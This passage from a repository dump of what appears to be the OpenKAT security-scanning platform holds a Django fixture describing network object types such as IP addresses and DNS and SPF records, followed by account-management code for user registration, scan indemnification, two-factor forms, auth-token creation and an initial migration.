{\n        \"description\": \"The Common Vulnerabilities and Exposures (CVE) system provides a reference-method for publicly known information-security vulnerabilities and exposures.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"KATFindingType\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"KAT findings are Vulnerabilities and Exposures defined and found by the KAT team of Min VWS\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"IPAddressV6\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"Internet Protocol version 6 (IPv6) is the most recent version of the Internet Protocol (IP), the communications protocol that provides an identification and location system for computers on networks and routes traffic across the Internet. \"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"IPAddressV4\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"An Internet Protocol address (IP address) is a numerical label assigned to each device connected to a computer network that uses the Internet Protocol for communication.[1][2] An IP address serves two main functions: host or network interface identification and location addressing. Internet Protocol version 4 (IPv4) defines an IP address as a 32-bit number.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"IPPort\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"In computer networking, a port is a communication endpoint. At the software level, within an operating system, a port is a logical construct that identifies a specific process or a type of network service. A port is identified for each transport protocol and address combination by a 16-bit unsigned number, known as the port number. The most common transport protocols that use port numbers are the Transmission Control Protocol (TCP) and the User Datagram Protocol (UDP).\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"IPService\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"An IP Service is formed of an IP Virtual Connection (IPVC) that links together IPVC End Points at External Interfaces (EIs). EIs are what MEF calls the boundary between what is the responsibility of the service provider and what isn't.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"Service\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"An IP Service is formed of an IP Virtual Connection (IPVC) that links together IPVC End Points at External Interfaces (EIs). EIs are what MEF calls the boundary between what is the responsibility of the service provider and what isn't.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"Software\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"Software is a collection of instructions and data that tell a computer how to work. This is in contrast to physical hardware, from which the system is built and actually performs the work.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"Website\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"A website (also written as web site) is a collection of web pages and related content that is identified by a common domain name and published on at least one web server. Notable examples are wikipedia.org, google.com, and minvws.nl.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSARecord\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"The Domain Name System (DNS) is a hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities. The A record holds the IP4 address of a domain.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSAAAARecord\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"The Domain Name System (DNS) is a hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities. The Aaaa record holds the IP6 address of a domain.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSMXRecord\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"The Domain Name System (DNS) is a hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities. The Mx record directs mail to an email server.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSRecord\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"The Domain Name System (DNS) is a hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities. The Txt record lets an admin store text notes in the record.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSSPFRecord\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"The Domain Name System (DNS) is a hierarchical and decentralized naming system for computers, services, or other resources connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities. The Spf record is a specific kind of Txt record which stores email authentication information.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSSPFMechanismIP\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"The Spf mechanisms are different ways an address can be entered into the Spf record. The different options are: IPv4, IPv6, hostname, and netblock. These addresses are sometimes accompanied by a qualifier which indicates whether the address should be allowed or rejected. The absence of a qualifier automatically defaults the address to being allowed by the mailserver.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSSPFMechanismHostname\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"The Spf mechanisms are different ways an address can be entered into the Spf record. The different options are: IPv4, IPv6, hostname, and netblock. These addresses are sometimes accompanied by a qualifier which indicates whether the address should be allowed or rejected. The absence of a qualifier automatically defaults the address to being allowed by the mailserver.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSSPFMechanismNetBlock\",\n    \"fields\": {\n      \"last_updated\": \"2021-07-14T14:50:09.835Z\",\n      \"data\": {\n        \"description\": \"The Spf mechanisms are different ways an address can be entered into the Spf record. The different options are: IPv4, IPv6, hostname, and netblock. These addresses are sometimes accompanied by a qualifier which indicates whether the address should be allowed or rejected. The absence of a qualifier automatically defaults the address to being allowed by the mailserver.\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSSPFMechanismIP|pass\",\n    \"fields\": {\n      \"last_updated\": \"2021-11-12T17:24:09.835Z\",\n      \"data\": {\n        \"description\": \"A pass qualifier means that the SPF record designates the host to be allowed to send\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSSPFMechanismHostname|pass\",\n    \"fields\": {\n      \"last_updated\": \"2021-11-12T17:24:09.835Z\",\n      \"data\": {\n        \"description\": \"A pass qualifier means that the SPF record designates the host to be allowed to send\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSSPFMechanismNetBlock|pass\",\n    \"fields\": {\n      \"last_updated\": \"2021-11-12T17:24:09.835Z\",\n      \"data\": {\n        \"description\": \"A pass qualifier means that the SPF record designates the host to be allowed to send\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSSPFMechanismIP|fail\",\n    \"fields\": {\n      \"last_updated\": \"2021-11-12T17:24:09.835Z\",\n      \"data\": {\n        \"description\": \"A fail qualifier means that the SPF record has designated the host as NOT being allowed to send\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSSPFMechanismHostname|fail\",\n    \"fields\": {\n      \"last_updated\": \"2021-11-12T17:24:09.835Z\",\n      \"data\": {\n        \"description\": \"A fail qualifier means that the SPF record has designated the host as NOT being allowed to send\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSSPFMechanismNetBlock|fail\",\n    \"fields\": {\n      \"last_updated\": \"2021-11-12T17:24:09.835Z\",\n      \"data\": {\n        \"description\": \"A fail qualifier means that the SPF record has designated the host as NOT being allowed to send\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSSPFMechanismIP|softfail\",\n    \"fields\": {\n      \"last_updated\": \"2021-11-12T17:24:09.835Z\",\n      \"data\": {\n        \"description\": \"A softfail qualifier means that the SPF record has designated the host as NOT being allowed to send but is in transition\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSSPFMechanismHostname|softfail\",\n    \"fields\": {\n      \"last_updated\": \"2021-11-12T17:24:09.835Z\",\n      \"data\": {\n        \"description\": \"A softfail qualifier means that the SPF record has designated the host as NOT being allowed to send but is in transition\"\n      },\n      \"consult_api\": false\n    }\n  },\n  {\n    \"model\": \"tools.ooiinformation\",\n    \"pk\": \"DNSSPFMechanismNetBlock|softfail\",\n    \"fields\": {\n      \"last_updated\": \"2021-11-12T17:24:09.835Z\",\n      \"data\": {\n        \"description\": \"A softfail qualifier means that the SPF record has designated the host as NOT being allowed to send but is in transition\"\n      },\n      \"consult_api\": false\n    }\n  }\n]\n"
  },
  {
    "path": "rocky/account/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/account/admin.py",
    "content": "from django.contrib import admin\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.utils.translation import gettext_lazy as _\n\nfrom account.models import AuthToken\n\nUser = get_user_model()\n\n\n@admin.register(User)\nclass KATUserAdmin(UserAdmin):\n    list_display = (\"email\", \"is_staff\", \"is_active\")\n    fieldsets = (\n        (None, {\"fields\": (\"email\", \"password\", \"full_name\")}),\n        (\n            _(\"Permissions\"),\n            {\"fields\": (\"is_active\", \"is_staff\", \"is_superuser\", \"groups\", \"user_permissions\", \"clearance_level\")},\n        ),\n        (_(\"Important dates\"), {\"fields\": (\"last_login\", \"date_joined\")}),\n    )\n    add_fieldsets = ((None, {\"classes\": (\"wide\",), \"fields\": (\"email\", \"password1\", \"password2\", \"is_staff\")}),)\n    search_fields = (\"email\",)\n    ordering = (\"email\",)\n\n\n@admin.register(AuthToken)\nclass AuthTokenAdmin(admin.ModelAdmin):\n    list_display = (\"user\", \"name\", \"token_key\", \"created\", \"expiry\")\n    fields = (\"user\", \"name\", \"expiry\")\n\n    def save_model(self, request, obj, form, change):\n        if not change:\n            token = obj.generate_new_token()\n\n        super().save_model(request, obj, form, change)\n\n        if not change:\n            self.message_user(request, f\"The new token is: {token}\")\n"
  },
  {
    "path": "rocky/account/apps.py",
    "content": "from django.apps import AppConfig\n\n\nclass AccountConfig(AppConfig):\n    default_auto_field = \"django.db.models.BigAutoField\"\n    name = \"account\"\n"
  },
  {
    "path": "rocky/account/forms/__init__.py",
    "content": "from account.forms.account_setup import (\n    AccountTypeSelectForm,\n    IndemnificationAddForm,\n    MemberRegistrationForm,\n    OnboardingOrganizationUpdateForm,\n    OrganizationForm,\n    OrganizationMemberEditForm,\n    OrganizationUpdateForm,\n    SetPasswordForm,\n)\nfrom account.forms.login import LoginForm\nfrom account.forms.password_reset import PasswordResetForm\nfrom account.forms.token import TwoFactorBackupTokenForm, TwoFactorSetupTokenForm, TwoFactorVerifyTokenForm\n\n__all__ = [\n    \"AccountTypeSelectForm\",\n    \"IndemnificationAddForm\",\n    \"MemberRegistrationForm\",\n    \"OnboardingOrganizationUpdateForm\",\n    \"OrganizationForm\",\n    \"OrganizationMemberEditForm\",\n    \"OrganizationUpdateForm\",\n    \"SetPasswordForm\",\n    \"LoginForm\",\n    \"PasswordResetForm\",\n    \"TwoFactorBackupTokenForm\",\n    \"TwoFactorSetupTokenForm\",\n    \"TwoFactorVerifyTokenForm\",\n]\n"
  },
  {
    "path": "rocky/account/forms/account_setup.py",
    "content": "from django import forms\nfrom django.contrib.auth import forms as auth_forms\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.models import Group\nfrom django.contrib.auth.password_validation import validate_password\nfrom django.utils.translation import gettext_lazy as _\nfrom tools.enums import SCAN_LEVEL\nfrom tools.forms.base import BaseRockyForm, BaseRockyModelForm\nfrom tools.models import (\n    GROUP_ADMIN,\n    GROUP_CLIENT,\n    GROUP_REDTEAM,\n    ORGANIZATION_CODE_LENGTH,\n    Organization,\n    OrganizationMember,\n)\n\nfrom account.validators import get_password_validators_help_texts\n\nUser = get_user_model()\n\n\nclass UserRegistrationForm(forms.Form):\n    \"\"\"\n    Basic User form fields, name, email and password.\n    With fields validation.\n    \"\"\"\n\n    name = forms.CharField(\n        label=_(\"Name\"),\n        max_length=254,\n        help_text=_(\"The name that will be used in order to communicate.\"),\n        widget=forms.TextInput(\n            attrs={\n                \"autocomplete\": \"off\",\n                \"placeholder\": _(\"Please provide username\"),\n                \"aria-describedby\": \"explanation-name\",\n            }\n        ),\n    )\n    email = forms.EmailField(\n        label=_(\"Email\"),\n        max_length=254,\n        help_text=_(\"Enter an email address.\"),\n        widget=forms.EmailInput(\n            attrs={\"autocomplete\": \"off\", \"placeholder\": \"name@example.com\", \"aria-describedby\": \"explanation-email\"}\n        ),\n    )\n    password = forms.CharField(\n        label=_(\"Password\"),\n        widget=forms.PasswordInput(\n            attrs={\n                \"autocomplete\": \"off\",\n                \"placeholder\": _(\"Choose a super secret password\"),\n                \"aria-describedby\": \"explanation-password\",\n            }\n        ),\n        help_text=get_password_validators_help_texts(),\n        validators=[validate_password],\n    )\n\n    def clean_email(self):\n        email = self.cleaned_data[\"email\"]\n        if User.objects.filter(email=email).exists():\n            self.add_error(\"email\", _(\"Choose another email.\"))\n        return email\n\n    def register_user(self):\n        user = User.objects.create_user(\n            full_name=self.cleaned_data.get(\"name\"),\n            email=self.cleaned_data.get(\"email\"),\n            password=self.cleaned_data.get(\"password\"),\n        )\n        return user\n\n\nclass AccountTypeSelectForm(forms.Form):\n    \"\"\"\n    Shows a dropdown list of account types\n    \"\"\"\n\n    ACCOUNT_TYPE_CHOICES = [\n        (\"\", _(\"--- Please select one of the available options ----\")),\n        (GROUP_ADMIN, GROUP_ADMIN),\n        (GROUP_REDTEAM, GROUP_REDTEAM),\n        (GROUP_CLIENT, GROUP_CLIENT),\n    ]\n\n    account_type = forms.CharField(\n        label=_(\"Account type\"),\n        error_messages={\"group\": {\"required\": _(\"Please select an account type to proceed.\")}},\n        widget=forms.Select(choices=ACCOUNT_TYPE_CHOICES, attrs={\"aria-describedby\": \"explanation-account-type\"}),\n    )\n\n\nclass TrustedClearanceLevelRadioPawsForm(forms.Form):\n    trusted_clearance_level = forms.ChoiceField(\n        required=True,\n        label=_(\"Trusted clearance level\"),\n        choices=[(-1, \"Unset\")] + SCAN_LEVEL.choices,\n        initial=-1,\n        help_text=_(\"Select a clearance level you trust this member with.\"),\n        widget=forms.RadioSelect(attrs={\"radio_paws\": True}),\n        error_messages={\"trusted_clearance_level\": {\"required\": _(\"Please select a clearance level to proceed.\")}},\n    )\n\n\nclass MemberRegistrationForm(UserRegistrationForm, TrustedClearanceLevelRadioPawsForm):\n    field_order = [\"name\", \"email\", \"password\", \"trusted_clearance_level\"]\n\n    def __init__(self, *args, **kwargs):\n        self.organization = kwargs.pop(\"organization\")\n        self.account_type = kwargs.pop(\"account_type\")\n        super().__init__(*args, **kwargs)\n        if self.account_type != GROUP_REDTEAM:\n            self.fields.pop(\"trusted_clearance_level\")\n\n    def register_member(self):\n        user = self.register_user()\n        member = OrganizationMember.objects.create(user=user, organization=self.organization)\n        member.groups.add(Group.objects.get(name=self.account_type))\n\n        if self.account_type == GROUP_REDTEAM:\n            member.trusted_clearance_level = self.cleaned_data.get(\"trusted_clearance_level\")\n\n        if self.account_type == GROUP_ADMIN:\n            member.trusted_clearance_level = 4\n            member.acknowledged_clearance_level = 4\n        member.save()\n\n    def is_valid(self):\n        is_valid = super().is_valid()\n        if is_valid:\n            self.register_member()\n        return is_valid\n\n\nclass OrganizationForm(BaseRockyModelForm):\n    \"\"\"\n    Form to create a new organization.\n    \"\"\"\n\n    class Meta:\n        model = Organization\n        fields = [\"name\", \"code\"]\n\n        widgets = {\n            \"name\": forms.TextInput(\n                attrs={\n                    \"placeholder\": _(\"The name of the organization.\"),\n                    \"autocomplete\": \"off\",\n                    \"aria-describedby\": _(\"explanation-organization-name\"),\n                }\n            ),\n            \"code\": forms.TextInput(\n                attrs={\n                    \"placeholder\": _(\"A unique code of maximum {code_length} characters in length.\").format(\n                        code_length=ORGANIZATION_CODE_LENGTH\n                    ),\n                    \"autocomplete\": \"off\",\n                    \"aria-describedby\": _(\"explanation-organization-code\"),\n                }\n            ),\n        }\n        error_messages = {\n            \"name\": {\n                \"required\": _(\"Organization name is required to proceed.\"),\n                \"unique\": _(\"Choose another organization.\"),\n            },\n            \"code\": {\n                \"required\": _(\"Organization code is required to proceed.\"),\n                \"unique\": _(\"Choose another code for your organization.\"),\n            },\n        }\n\n\nclass IndemnificationAddForm(BaseRockyForm):\n    may_scan = forms.CharField(\n        label=_(\n            \"I declare that OpenKAT may scan the assets of my organization and \"\n            \"that I have permission to scan these assets. \"\n            \"I am aware of the implications a scan (with a higher scan level) brings on my systems.\"\n        ),\n        widget=forms.CheckboxInput(),\n    )\n    am_authorized = forms.CharField(\n        label=_(\n            \"I declare that I am authorized to give this indemnification on behalf of my organization. \"\n            \"I have the experience and knowledge to know what the consequences might be and\"\n            \" can be held responsible for them.\"\n        ),\n        widget=forms.CheckboxInput(),\n    )\n\n\nclass AssignClearanceLevelForm(BaseRockyForm):\n    assigned_level = forms.BooleanField(label=_(\"Trusted to change Clearance Levels.\"))\n\n\nclass AcknowledgeClearanceLevelForm(BaseRockyForm):\n    acknowledged_level = forms.BooleanField(label=_(\"Acknowledged to change Clearance Levels.\"))\n\n\nclass OrganizationMemberEditForm(BaseRockyModelForm, TrustedClearanceLevelRadioPawsForm):\n    blocked = forms.BooleanField(\n        required=False,\n        label=_(\"Blocked\"),\n        help_text=_(\"Set the members status to blocked, so they don't have access to the organization anymore.\"),\n        widget=forms.CheckboxInput(),\n    )\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.fields[\"blocked\"].widget.attrs[\"field_form_label\"] = \"Status\"\n        if self.instance.user.is_superuser:\n            self.fields[\"trusted_clearance_level\"].disabled = True\n        self.fields[\"acknowledged_clearance_level\"].label = _(\"Accepted clearance level\")\n        self.fields[\"acknowledged_clearance_level\"].required = False\n        self.fields[\"acknowledged_clearance_level\"].widget.attrs[\"fixed_paws\"] = (\n            self.instance.acknowledged_clearance_level\n        )\n        self.fields[\"acknowledged_clearance_level\"].widget.attrs[\"class\"] = \"level-indicator-form\"\n        if self.instance.user.is_superuser:\n            self.fields[\"trusted_clearance_level\"].disabled = True\n\n    def save(self, commit=True):\n        instance = super().save(commit=False)\n        if instance.trusted_clearance_level < instance.acknowledged_clearance_level:\n            instance.acknowledged_clearance_level = instance.trusted_clearance_level\n        if commit:\n            instance.save()\n        return instance\n\n    class Meta:\n        model = OrganizationMember\n        fields = [\"blocked\", \"trusted_clearance_level\", \"acknowledged_clearance_level\"]\n\n\nclass OnboardingOrganizationUpdateForm(OrganizationForm):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.fields[\"code\"].disabled = True\n\n\nclass OrganizationUpdateForm(OrganizationForm):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.fields[\"code\"].disabled = True\n        self.fields[\"tags\"].widget.attrs[\"placeholder\"] = _(\"Enter tags separated by comma.\")\n\n    class Meta:\n        model = Organization\n        fields = [\"name\", \"code\", \"tags\"]\n\n\nclass SetPasswordForm(auth_forms.SetPasswordForm):\n    \"\"\"\n    A form that lets a user change set their password without entering the old\n    password\n    \"\"\"\n\n    error_messages = {\"password_mismatch\": _(\"The two password fields didn’t match.\")}\n    new_password1 = forms.CharField(\n        label=_(\"New password\"),\n        widget=forms.PasswordInput(attrs={\"autocomplete\": \"new-password\", \"placeholder\": _(\"Enter a new password\")}),\n        strip=False,\n        help_text=get_password_validators_help_texts,\n        validators=[validate_password],\n    )\n    new_password2 = forms.CharField(\n        label=_(\"New password confirmation\"),\n        strip=False,\n        widget=forms.PasswordInput(attrs={\"autocomplete\": \"new-password\", \"placeholder\": _(\"Repeat the new password\")}),\n        help_text=_(\"Confirm the new password\"),\n        validators=[validate_password],\n    )\n"
  },
  {
    "path": "rocky/account/forms/login.py",
    "content": "from django.contrib.auth.forms import AuthenticationForm\nfrom django.utils.translation import gettext_lazy as _\n\n\nclass LoginForm(AuthenticationForm):\n    \"\"\"\n    This is an adaptation of the login form of django's AuthenticationForm\n    This form is also part of the two-factor authentication flow.\n    \"\"\"\n\n    error_messages = {\n        \"invalid_login\": _(\"Please enter a correct email address and password.\"),\n        \"inactive\": _(\"This account is inactive.\"),\n    }\n\n    def __init__(self, request=None, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.fields[\"username\"].help_text = _(\"Insert the email you registered with or got at OpenKAT installation.\")\n"
  },
  {
    "path": "rocky/account/forms/organization.py",
    "content": "from django import forms\nfrom django.utils.translation import gettext_lazy as _\nfrom tools.forms.settings import BLANK_CHOICE\nfrom tools.models import Organization\n\nfrom account.models import KATUser\n\n\nclass OrganizationListForm(forms.Form):\n    \"\"\"\n    Creates a dropdown list of Organizations of a particular member.\n    \"\"\"\n\n    error_messages = {\"required\": _(\"Organization is required.\")}\n\n    def __init__(self, user: KATUser, exclude_organization: Organization, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        organizations = [\n            [organization.code, organization.name]\n            for organization in user.organizations\n            if organization != exclude_organization\n        ]\n\n        if organizations:\n            self.fields[\"organization\"] = forms.ChoiceField(\n                required=True,\n                label=_(\"Organizations\"),\n                help_text=_(\"The organization from which to clone settings.\"),\n                error_messages=self.error_messages,\n            )\n\n            self.fields[\"organization\"].choices = [BLANK_CHOICE] + organizations\n"
  },
  {
    "path": "rocky/account/forms/password_reset.py",
    "content": "from django import forms\nfrom django.contrib.auth import forms as auth_forms\nfrom django.utils.translation import gettext_lazy as _\n\n\nclass PasswordResetForm(auth_forms.PasswordResetForm):\n    email = forms.EmailField(\n        label=_(\"Email address\"),\n        max_length=254,\n        help_text=_(\"A reset link will be sent to this email\"),\n        widget=forms.TextInput(attrs={\"placeholder\": _(\"The email address connected to your OpenKAT-account\")}),\n    )\n"
  },
  {
    "path": "rocky/account/forms/token.py",
    "content": "import structlog\nfrom django.utils.translation import gettext_lazy as _\nfrom two_factor.forms import AuthenticationTokenForm, BackupTokenForm, TOTPDeviceForm\n\nlogger = structlog.get_logger(__name__)\n\n\nclass TwoFactorSetupTokenForm(TOTPDeviceForm):\n    \"\"\"\n    This is an adaptation of the built-in two factor form.\n    The user can create a token with a QR code or secret key.\n    The two factor is setup with the token and is validated and created with this form.\n    \"\"\"\n\n    def __init__(self, key, user, **kwargs):\n        super().__init__(key, user, **kwargs)\n        self.fields[\"token\"].widget.attrs.update({\"autocomplete\": \"off\"})\n        self.fields[\"token\"].help_text = _(\n            \"Insert the token generated by the authenticator app to setup the two factor authentication.\"\n        )\n\n\nclass TwoFactorVerifyTokenForm(AuthenticationTokenForm):\n    \"\"\"\n    This is an adaptation of the token verification form,\n    so after user has logged in. (This is not the token setup form)\n    \"\"\"\n\n    def __init__(self, **kwargs):\n        super().__init__(**kwargs)\n        self.fields[\"otp_token\"].widget.attrs.update({\"autocomplete\": \"off\"})\n        self.fields[\"otp_token\"].help_text = _(\"Insert the token generated by your token authenticator app.\")\n\n    def clean(self):\n        cleaned_data = super().clean()\n\n        if not self.is_valid():\n            logger.info(\"User MFA failed\", event_code=\"093333\", user=self.user)\n\n        return cleaned_data\n\n\nclass TwoFactorBackupTokenForm(BackupTokenForm):\n    \"\"\"\n    This is an adaptation of the BackupTokenForm.\n    The user can create a set of backup tokens at token setup and\n    use this form to enter a valid token.\n    \"\"\"\n\n    def __init__(self, user, initial_device, **kwargs):\n        super().__init__(user, initial_device, **kwargs)\n        self.fields[\"otp_token\"].widget.attrs.update({\"autocomplete\": \"off\"})\n        self.fields[\"otp_token\"].label = _(\"Backup token\")\n"
  },
  {
    "path": "rocky/account/management/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/account/management/commands/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/account/management/commands/create_authtoken.py",
    "content": "import sys\n\nfrom django.core.management import BaseCommand\nfrom django.db.utils import IntegrityError\n\nfrom account.models import AuthToken, KATUser\n\n\nclass Command(BaseCommand):\n    help = \"Creates a new authentication token.\"\n\n    def add_arguments(self, parser):\n        parser.add_argument(\"username\", help=\"Username to create the token for\")\n        parser.add_argument(\"name\", help=\"Name of the token\")\n\n    def handle(self, *args, **options):\n        try:\n            user = KATUser.objects.get(email=options[\"username\"])\n        except KATUser.DoesNotExist:\n            self.stderr.write(self.style.ERROR(f\"Username {options['username']} not found\"))\n\n            sys.exit(1)\n\n        auth_token = AuthToken(user=user, name=options[\"name\"])\n        token = auth_token.generate_new_token()\n        try:\n            auth_token.save()\n        except IntegrityError as e:\n            if 'unique constraint \"unique name\"' in e.args[0]:\n                self.stderr.write(\n                    self.style.ERROR(f\"There already exists a token with name {options['name']} for user {user}\")\n                )\n                sys.exit(1)\n            else:\n                raise\n\n        if options[\"verbosity\"] >= 1:\n            self.stdout.write(\n                self.style.SUCCESS(f\"Successfully created token {token} with name {options['name']} for user {user}\")\n            )\n        else:\n            self.stdout.write(token)\n"
  },
  {
    "path": "rocky/account/migrations/0001_initial.py",
    "content": "# Generated by Django 4.2.11 on 2024-05-09 10:46\n\nimport django.db.models.deletion\nimport django.db.models.functions.text\nimport django.utils.timezone\nfrom django.db import migrations, models\n\nimport account.models\n\n\nclass Migration(migrations.Migration):\n    initial = True\n\n    dependencies = [(\"auth\", \"0012_alter_user_first_name_max_length\")]\n\n    operations = [\n        migrations.CreateModel(\n            name=\"KATUser\",\n            fields=[\n                (\"password\", models.CharField(max_length=128, verbose_name=\"password\")),\n                (\"last_login\", models.DateTimeField(blank=True, null=True, verbose_name=\"last login\")),\n                (\n                    \"is_superuser\",\n                    models.BooleanField(\n                        default=False,\n                        help_text=\"Designates that this user has all permissions without explicitly assigning them.\",\n                        verbose_name=\"superuser status\",\n                    ),\n                ),\n                (\"first_name\", models.CharField(blank=True, max_length=150, verbose_name=\"first name\")),\n                (\"last_name\", models.CharField(blank=True, max_length=150, verbose_name=\"last name\")),\n                (\"id\", models.AutoField(primary_key=True, serialize=False, verbose_name=\"ID\")),\n                (\"full_name\", models.CharField(max_length=150, verbose_name=\"full name\", blank=True)),\n                (\"email\", account.models.LowercaseEmailField(max_length=254, unique=True, verbose_name=\"email\")),\n                (\n                    \"is_staff\",\n                    models.BooleanField(\n                        default=False,\n                        help_text=\"Designates whether the user can log into this admin site.\",\n                        verbose_name=\"staff status\",\n                    ),\n                ),\n                (\n                    \"is_active\",\n                    models.BooleanField(\n                        default=True,\n                        help_text=\"Designates whether this user should be treated as active. Unselect this instead of deleting accounts.\",\n                        verbose_name=\"active\",\n                    ),\n                ),\n                (\"date_joined\", models.DateTimeField(default=django.utils.timezone.now, verbose_name=\"date joined\")),\n                (\n                    \"groups\",\n                    models.ManyToManyField(\n                        blank=True,\n                        help_text=\"The groups this user belongs to. A user will get all permissions granted to each of their groups.\",\n                        related_name=\"user_set\",\n                        related_query_name=\"user\",\n                        to=\"auth.group\",\n                        verbose_name=\"groups\",\n                    ),\n                ),\n                (\n                    \"user_permissions\",\n                    models.ManyToManyField(\n                        blank=True,\n                        help_text=\"Specific permissions for this user.\",\n                        related_name=\"user_set\",\n                        related_query_name=\"user\",\n                        to=\"auth.permission\",\n                        verbose_name=\"user permissions\",\n                    ),\n                ),\n            ],\n            options={\"abstract\": False},\n        )\n    ]\n"
  },
  {
    "path": "rocky/account/migrations/0001_squashed_0004_authtoken_authtoken_unique_name.py",
